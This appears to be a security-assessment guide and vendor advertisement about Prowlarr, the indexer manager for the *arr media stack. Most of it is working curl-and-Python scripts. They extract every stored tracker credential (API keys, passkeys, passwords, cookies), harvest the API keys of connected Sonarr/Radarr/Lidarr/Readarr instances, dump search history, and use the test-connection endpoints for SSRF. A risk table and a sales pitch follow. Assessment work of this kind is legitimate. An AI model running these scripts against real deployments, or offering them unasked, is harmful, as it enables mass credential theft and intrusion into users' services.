Prowlarr is the centralized indexer management application for the *arr stack, replacing per-application indexer configuration in Sonarr, Radarr, Lidarr, and Readarr with a single hub. This architectural role makes it the highest-value credential target in an entire *arr deployment: compromising Prowlarr's API key gives access to every indexer credential across the whole stack in a single request, rather than requiring separate extraction from each *arr application. Its security assessment covers: Prowlarr's API key in Settings > General controls all indexer configuration including the full list of indexer credentials; the /api/v1/indexer endpoint returns credentials (API keys, passkeys, usernames, passwords) for every configured indexer in plaintext; Prowlarr stores full connection details for all connected *arr applications including Sonarr, Radarr, Lidarr, and Readarr — their API keys are accessible from /api/v1/applications; and Prowlarr's "Test" connection feature for both indexers and applications makes outbound HTTP requests enabling SSRF. This guide covers systematic Prowlarr security assessment.
# Prowlarr — centralized indexer hub with all tracker credentials
PROWLARR_URL="https://prowlarr.example.com"
API_KEY="your-prowlarr-api-key"
# Get host configuration (authentication type, URL base)
curl -s "${PROWLARR_URL}/api/v1/config/host?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Auth method: {d.get(\"authenticationMethod\")}')
print(f'Bind address: {d.get(\"bindAddress\")}')
print(f'Port: {d.get(\"port\")}')
" 2>/dev/null
# Extract ALL indexer credentials — the primary credential cache in *arr stacks
curl -s "${PROWLARR_URL}/api/v1/indexer?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
indexers = json.load(sys.stdin)
print(f'Total indexers configured: {len(indexers)}')
for idx in indexers:
print(f' [{idx.get(\"id\")}] {idx.get(\"name\")} [{idx.get(\"implementationName\")}] enabled={idx.get(\"enable\")}')
for field in idx.get('fields',[]):
fname = field.get('name','')
fval = field.get('value','')
if fval and isinstance(fval, str):
sensitive = ['apikey','passkey','password','username','rsskey','cookieheader','cookie']
if any(s.lower() in fname.lower() for s in sensitive):
print(f' CREDENTIAL {fname}: {fval}')
elif fname.lower() in ['baseurl','url']:
print(f' URL: {fval}')
" 2>/dev/null
# Get indexer schema to enumerate all supported tracker types
curl -s "${PROWLARR_URL}/api/v1/indexer/schema?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
schemas = json.load(sys.stdin)
print(f'Supported indexer types: {len(schemas)}')
for s in schemas[:20]:
print(f' {s.get(\"implementationName\")}')
" 2>/dev/null
# Prowlarr applications — stores API keys for all connected *arr apps
PROWLARR_URL="https://prowlarr.example.com"
API_KEY="your-prowlarr-api-key"
# List all connected *arr applications with their API keys
curl -s "${PROWLARR_URL}/api/v1/applications?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
apps = json.load(sys.stdin)
print(f'Connected applications: {len(apps)}')
for app in apps:
print(f' [{app.get(\"id\")}] {app.get(\"name\")} [{app.get(\"implementationName\")}]')
for field in app.get('fields',[]):
fname = field.get('name','')
fval = field.get('value','')
if fval:
important = ['baseUrl','apiKey','prowlarrUrl']
if fname in important:
print(f' {fname}: {fval}')
" 2>/dev/null
# Get Prowlarr search history — reveals what content was searched for
curl -s "${PROWLARR_URL}/api/v1/history?pageSize=50&page=1&apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
records = d.get('records',[])
total = d.get('totalRecords',0)
print(f'History records: {total}')
for r in records[:10]:
print(f' {r.get(\"date\",\"?\")} indexer={r.get(\"indexer\")} query={r.get(\"sourceTitle\")}')
" 2>/dev/null
# Prowlarr test connection — server-side HTTP request to any URL
PROWLARR_URL="https://prowlarr.example.com"
API_KEY="your-prowlarr-api-key"
# Test connection for an indexer triggers server-side HTTP to the indexer URL
# When testing a Torznab/Newznab indexer with a custom baseUrl:
INDEXER_ID=1
curl -s -X POST "${PROWLARR_URL}/api/v1/indexer/test?apikey=${API_KEY}" \
-H "Content-Type: application/json" \
-d "{\"id\": ${INDEXER_ID}}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Test result: {d}')
" 2>/dev/null
# Test connection for a *arr application also makes a server-side request
APP_ID=1
curl -s -X POST "${PROWLARR_URL}/api/v1/applications/test?apikey=${API_KEY}" \
-H "Content-Type: application/json" \
-d "{\"id\": ${APP_ID}}" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| All indexer credentials in one endpoint | GET /api/v1/indexer — returns all configured tracker credentials including private tracker API keys, passkeys, usernames, and passwords for the entire *arr stack's indexer configuration in a single request | Critical |
| Connected *arr application API keys | GET /api/v1/applications — returns baseUrl and apiKey for every connected *arr application (Sonarr, Radarr, Lidarr, Readarr); single Prowlarr key gives all *arr keys | Critical |
| Test connection SSRF for indexers and apps | POST /api/v1/indexer/test or /api/v1/applications/test — triggers server-side HTTP request to the configured URL; can target cloud metadata endpoints and internal services | High |
| Search and grab history exposure | GET /api/v1/history — returns search queries, indexer responses, and grab history; reveals content interests and confirms which private trackers are actively used | Medium |
| No authentication on API key URL parameter | GET /api/v1/indexer?apikey=KEY — API key appears in URL; may be logged in web server access logs, reverse proxy logs, and browser history | Medium |
Ironimo tests Prowlarr deployments for the complete indexer credential extraction giving all private tracker API keys and passkeys, connected *arr application API key harvesting (Sonarr, Radarr, Lidarr, Readarr), test connection SSRF for both indexers and applications, search history exposure revealing content interests, authentication bypass when no credentials are configured, and prowlarr.db credential access.
Start free scan